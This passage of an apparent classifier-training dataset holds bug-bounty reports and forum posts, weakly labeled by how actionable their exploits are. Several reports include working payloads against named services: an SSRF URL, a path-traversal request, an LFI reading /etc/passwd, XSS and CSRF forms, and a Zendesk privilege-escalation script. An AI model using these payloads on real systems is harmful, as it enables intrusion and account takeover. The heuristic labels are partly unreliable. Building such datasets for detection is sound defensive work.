"weak_cve_metadata_plus_actionability_terms"}
-{"id": "4448e1fa95dfe8f307c0", "text": "[Improper Authentication - Generic] Full account takeover of any user through reset password\n\nHi Team\nI just checking this Url https://██████  and notice that when you request  to forget password ,website send temp password in forget password request \nmy password in request is: ███\nPoc:\n```\nPOST /__852585b6003eba25.nsf/forgotpassword.html?OpenForm&Seq=1 HTTP/1.1\nHost: www.██████\nCookie: _ga=GA1.2.1700054986.1696324867; _ga_CSLL4ZEK4L=GS1.1.1696324866.1.1.1696324913.0.0.0; _ga_YQMQPQYJ4J=GS1.1.1696324867.1.1.1696324913.0.0.0\nContent-Length: 436\nCache-Control: max-age=0\nSec-Ch-Ua: \"Google Chrome\";v=\"117\", \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"117\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: https://www.██████\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://www.███████/852585B6003EBA25/forgotpassword.html\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,fa;q=0.8\nConnection: close\n\n__Click=0&HTTP_HOST=www.██████████&HTTPS=ON&SERVER_NAME=www.████&%24DbPath=https%3A%2F%2Fwww.███████%2F852585B6003EBA25&████████&dbPath=https%3A%2F%2Fwww.█████%2F852585B6003EBA25&RepId=852585B6003EBA25&QUERY_STRING_DECODED=&eMailAddress=███.com&%25%25Surrogate_ChallengeQuestion=1&ChallengeQuestion=What+is+a+street+name+where+you+were+raised%3F&ChallengeAnswer=dez\n```\n\n## Impact\n\nFull account takeover of any user through reset password\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1-request for forget password\n2-capture request \n3- read password\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "344c9ef67d357b6796ca", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on link and window.opener\n\nHi possible xss and error when clicking on the link .\n\n`<form name=\"pisarenko\" action=\"https://api.slack.com/feedback/submit\" method=\"POST\">\n<input type='hidden' name='crumb' value=\"1\"> \n<input type='hidden' name='path' value=\"javascript:alert()\"> \n<input type='hidden' name='vote' value=\"Yes\"> \n</form>\n<script>document.pisarenko.submit();</script>`\n\nor \n\n`<form name=\"pisarenko\" action=\"https://api.slack.com/feedback/submit\" method=\"POST\">\n<input type='hidden' name='crumb' value=\"1\"> \n<input type='hidden' name='path' value=\"https://servisvk.com/exploit/opener.php\"> \n<input type='hidden' name='vote' value=\"Yes\"> \n</form>\n<script>document.pisarenko.submit();</script>`\n\n## Impact\n\nRedirection from the original site to an evil site or execution of js code\n\nPlease check that the domain is `slack`\n\n{F765317}", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "55a573939493b9c29bc2", "text": "[Server-Side Request Forgery (SSRF)] CVE-2021-40438 on cp-eu2.acronis.com\n\nHi team\n\n## Summary\nCVE-2021-40438 on cp-eu2.acronis.com\n\n## Steps To Reproduce\n\n `\nhttps://cp-eu2.acronis.com?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-40438"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "637fc6698b4a9c38a4cd", "text": "Hi everyone, loving it so far One thing is troubling me, though. I solved “More Secrets” without solving “Secret Message” first… What did I do wrong? Are we dealing with the same files, or is this first challenge about something completely different, that I missed in my enum? Thanks a lot!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8bbeae0f23509b637325", "text": "[Path Traversal] Unathenticated file read (CVE-2020-3452)\n\n**Description:**\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device.\n\n\n## References\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\nhttps://www.rapid7.com/blog/post/2020/07/23/cve-2020-3452-cisco-asa-firepower-read-only-path-traversal-vulnerability-what-you-need-to-know/\n\n## Impact\n\nImpact\nAn attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\n1.) Perform the following GET request:\nGET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1\nHost: ██████\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F\nConnection: close\nAccept: */*\nAccept-Language: en\nAccept-Encoding: gzip, deflate, br\n\n2.) The response will contain contents of portal_inc.lua\n\n## Suggested Mitigation/Remediation Actions\nCisco has released software updates that address this vulnerability.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3452"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ac4814c82d8a274fc55", "text": "[Remote File Inclusion] Grafana LFI on https://grafana.mariadb.org\n\nHello team,\n\nThere is an LFI on `https://grafana.mariadb.org/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd`\n\n\n{F1537157}\n\n## Impact\n\nLFI", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d69e300142c74758e44b", "text": "[Phishing] Possible Domain Takeover on AWS Instance.\n\nThe vulnerable domain possibly available for takeover is:` traefik-livedemo.rocket.chat (CNAME: a0e7eaaaa82f611e9b1cc0e9ccd15f3e-557536140.us-west-2.elb.amazonaws.com)`.\nThis domain, contains a record pointing to these an WS instance. When querying for any IP under the instance, I got returned an NXDomain error.\n\nSteps to claim the instances:\nLog-in or register into AWS. (Region has to be set as us-west-2)\nGo onto the \"Elastic LoadBalancer\" section\nClick \"Create Loadbalancer\"\nClick \"Application Loadbalancer\"\nInput the name before the final dash and the numbers. (eg: a0e7eaaaa82f611e9b1cc0e9ccd15f3e )\nDeploy it, and check if the numbers are the same.\n\nIt might take a few to get the right one, but with an automated script I am certainly sure that it is achievable.\n\n## Impact\n\nThe attacker might be able to takeover the domain, and gain access to the domain. An user, recognizing the domain recalling \"rocket.chat\" would let the user trust the page, and then, give the attacker his credentials via a phishing form.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ff79e72c564bdcb0ffd7", "text": "I don’t really have a comprehensive list of TTPs for AD, however, I would recommend starting here: Techniques - Enterprise | MITRE ATT&CK® You can also check out the Windows matrice here: Matrix - Enterprise | MITRE ATT&CK®", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f5d1c250d1e1b9fc944", "text": "if you run ‘apt list --installed’ first line of output is ‘Listing… Done’ so you need to exclude that line. To get the correct answer command should be ‘apt list --installed | grep “installed” | wc -l’ this will exclude the first line of the output.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ecb1c35f6fe74541d831", "text": "[Privilege Escalation] Privilege escalation - Support-Contributor to Support and Product Admin via `/api/v2/██████` . No ADMIN PRIVILEGE required.\n\nHello team, I am reporting another privilege escalation issue where a lowest privilege member(Support-Contributor) to full Support and Product administrator.  Tested in Zendesk Enterprise(Sponsored) and Trial Account.\n\nFrom my past reports I was able to find privilege escalation issues on the endpoint `/api/███` . The difference is, to perform a privilege escalation on the said endpoint, there should be at least one Product Admin privilege on the actor's account but this report does not require any Admin privilege(just the lowest privilege alone).\n\n## Summary:\nThe [Contributor Role](https://support.zendesk.com/hc/en-us/articles/4408832171034-About-team-member-product-roles-and-access) is the lowest Support role in Zendesk. In the UI alone, as a contributor, the accessible pages and and endpoints are very limited. With this role, the members page is not even accessible or restricted. With these restrictions, escalating your own role seem to be impossible.\n\n##Improper Access Control to Privilege Escalation\nVulnerable Endpoint: `PUT /api███ HTTP/2`\n\nThe `/api████████` endpoint is used for API integration to █████. █████████ . However, the said endpoint does not validate the privilege of the user who is sending a request. With this bug, a member with even just the lowest privilege(Contributor) is able to escalate any members' privilege to `FULL ADMINISTRATOR` including its own privilege.\n\n## Browsers Verified In:\nLatest version of Chrome and Firefox\n\n##Exploit\n```javascript\n//Exploit\n//get csrf token and id\nvar xhttp = new XMLHttpRequest();\nxhttp.onreadystatechange = function() {\n    if (this.readyState == 4 && this.status == 200) {\n        var profile = JSON.parse(this.responseText);\n        var csrf = profile.user.authenticity_token;\n\t\tvar id = profile.user.id;\n        escalate(id, csrf);\n    }\n};\n\nxhttp.open(\"GET\", \"https://\" + document.domain + \"/api/v2/users/me.json\");\nxhttp.send();\n\n\n//privilege escalation function\nfunction escalate(id, csrf) {\n    var xhttp = new XMLHttpRequest();\n    xhttp.onreadystatechange = function() {\n        if (this.readyState == 4 && this.status == 200) {\n            console.log(this.responseText);\n        }\n    };\n\n    xhttp.open(\"PUT\", \"https://\" + document.domain + \"/api██████;\n    xhttp.setRequestHeader(\"X-Csrf-Token\", csrf);\n    xhttp.setRequestHeader(\"Content-Type\", \"application/json\");\n    xhttp.send(JSON.stringify(███));\n}\n```\n\n## Steps To Reproduce:\n`On owner/admin account`\n1. Go to https://<domain>.zendesk.com/admin/people/team/members/new\n2. Provide the name and email of the agent\n3. Click Next\n4. Set the Support role to CONTRIBUTOR\n5. Go to https://<domain>.zendesk.com/admin/people/team/members\n6. Click the profile on the invited user\n7. Now set the roles to Support-Contributor only and `DISABLE` any product access(just to prove that no other privilege is required).\n\n`On invited user`\n8. You will receive an email. Click it to accept the invitation\n9. Login the invited account\n10. Execute the exploit to escalate your privileges.\n\n## Demo And PoC\nOn Enterprise account\n███\nOn Trial account\n███\n\n## Impact\n\nPrivilege escalation - Support-Contributor to Support and Product Admin.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e223300f6587490c0a1", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS | https://████\n\nSummary\n\nHi team, there's a reflected XSS on https://█████████ using the `project` param. There's a WAF in place but it's possible to bypass it.\nSteps to reproduce\n\n1. Click https://████████/fcgi-bin/release.py?project=aaa%3Ch1%20onauxclick=confirm(document.domain)%3ERIGHT%20CLICK%20HERE\n2. Observe the popup showing document.domain when right clicking \"RIGHT CLICK HERE\"\n\n███\n\n## Impact\n\nThe attacker can trigger remote code execution on the victim’s browser, and steal credentials, sessions, and potentially send malware to the victim.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Click https://█████████/fcgi-bin/release.py?project=aaa%3Ch1%20onauxclick=confirm(document.domain)%3ERIGHT%20CLICK%20HERE\n2. Observe the popup showing document.domain when right clicking \"RIGHT CLICK HERE\"\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2ee009f79dd7095f75e4", "text": "[Cross-Site Request Forgery (CSRF)] [https://shipit-sox-staging.shopifycloud.com] Presence of multiple vulnerabilities present in Ruby On Rails\n\nhttps://shipit-sox-staging.shopifycloud.com seems to be running 6.0.0 < rails < 6.0.3.2 which is prone to multiple vulnerabilities via csrf including open redirect, xss & rce as reported at https://hackerone.com/reports/904059\n\n## Impact\n\npresence of multiple vulnerabilities can cause wide variety of damage.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a52066f5cf3a60599372", "text": "Which kernel version is installed on the system? (Format: 1.22.3) Which kernel version is installed on the system? (Format: 1.22.3) I nedd help", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3317ca1c65024bf1f1fb", "text": "[Improper Authentication - Generic] Attacker can bypass authentication build on ingress external auth (`nginx.ingress.kubernetes.io/auth-url`)\n\nReport Submission Form\n\n## Summary:\nSending request with `<public-service>..%2F<protected-service>` allows to manipulate headers:\n\n* X-Original-Url\n* X-Auth-Request-Redirect\n\ndue to that manipulation external auth service could make wrong decision and return 204 instead of 401/403. **To be clear: manipulation of those headers give no possibility to kubernetes user to make any proper decisions based on those headers. ** This way allowing anonymous access to public service and trying to protect access to protected-service by e.g. api-key is not possible.\n\n{F1469913}\n\nExample:\nWith this call `curl -v http://app.test/public-service/..%2Fprotected-service/protected` external auth configured on ingress using `nginx.ingress.kubernetes.io/auth-url: http://auth-service.default.svc.cluster.local:8080/verify` will get following headers:\n```\nX-Request-Id: 7d979c82ca55141ed0d58655fbaac586\nHost: auth-service.default.svc.cluster.local\nX-Original-Url: http://app.test/public-service/..%2Fprotected-service/protected\nX-Original-Method: GET\nX-Sent-From: nginx-ingress-controller\nX-Real-Ip: 192.168.99.1\nX-Forwarded-For: 192.168.99.1\nX-Auth-Request-Redirect: /public-service/..%2Fprotected-service/protected\nConnection: close\nUser-Agent: curl/7.75.0\nAccept: */*\n```\nBoth headers `X-Original-Url` and `X-Auth-Request-Redirect` are manipulated. \n\nHow this auth-service can parse request? Here is simple example of python and Flask:\n```\napi_key = request.headers.get('X-Api-Key')\nrequest_redirect = request.headers.get('X-Auth-Request-Redirect')\n\nif request_redirect and request_redirect.startswith(\"/public-service/\"):\n    return Response(status = HTTPStatus.NO_CONTENT)\n\nif api_key == \"secret-api-key\":  \n    return Response(status = HTTPStatus.NO_CONTENT)\n\nreturn Response(status = HTTPStatus.UNAUTHORIZED)\n```\n\n## Kubernetes Version:\nminikube v1.23.2 on Microsoft Windows 10 Pro 10.0.19043 Build 19043\nKubernetesa v1.22.2 on Docker 20.10.8\n\n## Component Version:\nk8s.gcr.io/ingress-nginx/controller:v1.0.0-beta.3@sha256:44a7a06b71187a4529b0a9edee5cc22bdf71b414470eff696c3869ea8d90a695\n\n## Steps To Reproduce:\n\n  1. Download project in attachment: F1469916\n  2. Install minikube\n  3. Enable addon ingress and ingress-dns\n  4. Build docker images:\n\n    * `cd auth-service; docker build -t auth-service:0.0.4 .`\n    * `cd protected-service; docker build -t protected-service:0.0.1 .`\n    * `cd public-service; docker build -t public-service:0.0.1 .`\n\n  5. push docker images into minikube:\n\n    * `minikube image load auth-service:0.0.4`\n    * `minikube image load protected-service:0.0.1`\n    * `minikube image load public-service:0.0.1`\n\n  6. apply kubernetes configuration: `kubectl apply -f app.yaml`\n\nTo access public service: `curl -v http://app.test/public-service/public`\nTo access protected service: `curl -v http://app.test/protected-service/protected -H \"X-Api-Key: secret-api-key\"`\nTo access protected service bypassing authentication: `curl -v http://app.test/public-service/..%2Fprotected-service/protected`\n\n## Supporting Material/References:\n\n  * in F1469916 - project consist of 2 services: public and protected. Access to public should be available for anyone and to protected only with `X-Api-Key` header. auth-service is protecting access and configured as external auth on ingress.\n    * app.yaml - whole configuration\n    * auth-service, protected-service, public-service - directories with Dockerfiles to build\n\n## Additional note\nAt first I have found this vulnerability in old version of ingress-nginx. It was 0.70.0. With this old version bypass was working without encoding of / to %2F.\ne.g. `curl -v http://app.test/public-service/../protected-service/protected`\nI was not able to reproduce it locally with minikube (couldn't install old ingress addon), but there is possibility that for some older versions of ingress-nginx you don't need to encode / to %2F.\n\n## Impact\n\nAttacker can bypass authentication build on ingress externa", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aecc31f9af8d5ffd2e2c", "text": "[Business Logic Errors] Verification process done using different documents without corresponding to user information / User information can be changed after verification\n\n## Summary:\n\n1. A verified user can change their profile information  (Name, DoB and Address) after identity verification using the API endpoint /kyc_back/api/v2/surveys/personal_info \n2. A  user can verifiy their account with ofical documents that does not correspond to their Name and Address information provided in verification process\n\n*** Note -*** *my.exness.com does not allow to change profile information (Name, DoB, Address) using website or mobile app. The only point where a user can set name, address and dob is when verifying the account but after that, there is no way for the user an option to change such that information in the GUI.*\n\n## Affected enpoints:\n  - wbesite and mobile apps\n\n## Steps to Reproduce:\n\n***NOTE -*** The following steps covers the two issues found, changing info after verification and with documents that does not correspond to the user\n\n  1. Open BurpSuite CE, turn off the Proxy feature in order just to log each request made by the browser.\n  2. Configure your browser with BurpSuite CE proxy settings\n  3. Create an account for a real account (not a demo account), you can use a properly email provider or a dispoable one too\n  4. Go to https://my.exness.com/pa/settings/profile\n  5. At the top of the window, there is a button that helps to go to the process to verify the account\n  6. Verify the current verification step with the code sent to the email used\n  7.  Verify the current verification step with the code sent to the phone number used\n  7. Add any name, address and dob, click next\n  7. Continue with the verification process... \n  8. Select ID card, add your documents (it could be a oficial ID card that does not correspond to you)\n  9. You will asked to upload a document to proof your address, add it (you can add an oficial proof of address that is related to the previous document to comply names and address)\n  10. Submit your document and wait until they are verified (Do not let the session expires, continue click on the website normally)\n  11. Go to BurpSuite CE Proxy > HTTP hisotry tab > searcch for the following request and send it to Repeater: \n```\nPATCH /kyc_back/api/v2/surveys/personal_info\nHost: my.exness.com\n```\n  12. Refresh your page after some time, like 15-30 minutes more or less. \n  13. The identity verification was completed\n  14. Go to Burp Suite CE Repeater tab, scroll down and change the request body json data to the following:\n\n```\n{\"first_name\":\"test-1\",\"last_name\":\"test-2\",\"test-3\":\"\",\"dob\":\"1990-01-01\",\"address\":\"test-4\"}\n```\n\n  15. Send the request, you will get a HTTP 200 response with the following body: ***{\"status\":\"OK\"}***\n  17. The information was changed, you can check it out by browsing https://my.exness.com/pa/settings/profile or https://my.exnesstrade.pro/settings/personalInfo\n\nInformation when verification was completed\n\n{F1574748}\n\nInformation when verification was completed displayed in my.exness.pro\n{F1574749}\n\nInformation changed after verification\n\n{F1574752}\n\n\nInformation changed after verification and displayed in my.exness.pro\n\n{F1574751}\n\n\n## Impact\nAn attacker can use exness.com platform to start trading under someone's information and verify their account with oficial documents that does not corresponds to them. The business logic flaw in the platform makes it a not good-trusting site for any user being part of the platform or not due to it is possible to use someone's documents.\n\n## Mitigation\nAdd photo to the profile and then, facial recognition to match the photo on the ID with the person presenting the card\nAddress recognition to match the address on the proof of address document presented\n\n\n## Supporting Material/References:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html\n\n## Impact\n\nAn attacker can use exness.com platform to start trading under someone's information and verify their account with oficial documents that does no", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "27b5b8d3858018087287", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://██████/██████ via \"██████\" parameter\n\nThere is Reflected Cross site scripting issue at the following url:\n\nhttps://██████████/██████\n\nProof Of Concept\n\nhttps://████████/█████████████████=%22%3E%3Csvg/onload=alert(1)%3E████████��\n\n█████\n\nBest Regards\n\n@pelegn\n\n## Impact\n\nCookies Exfiltration\nSOAP Bypass\nCORS Bypass\nExecuting javascript on the victim behalf\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://████████/████████████████████████=%22%3E%3Csvg/onload=alert(1)%3E██████████\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
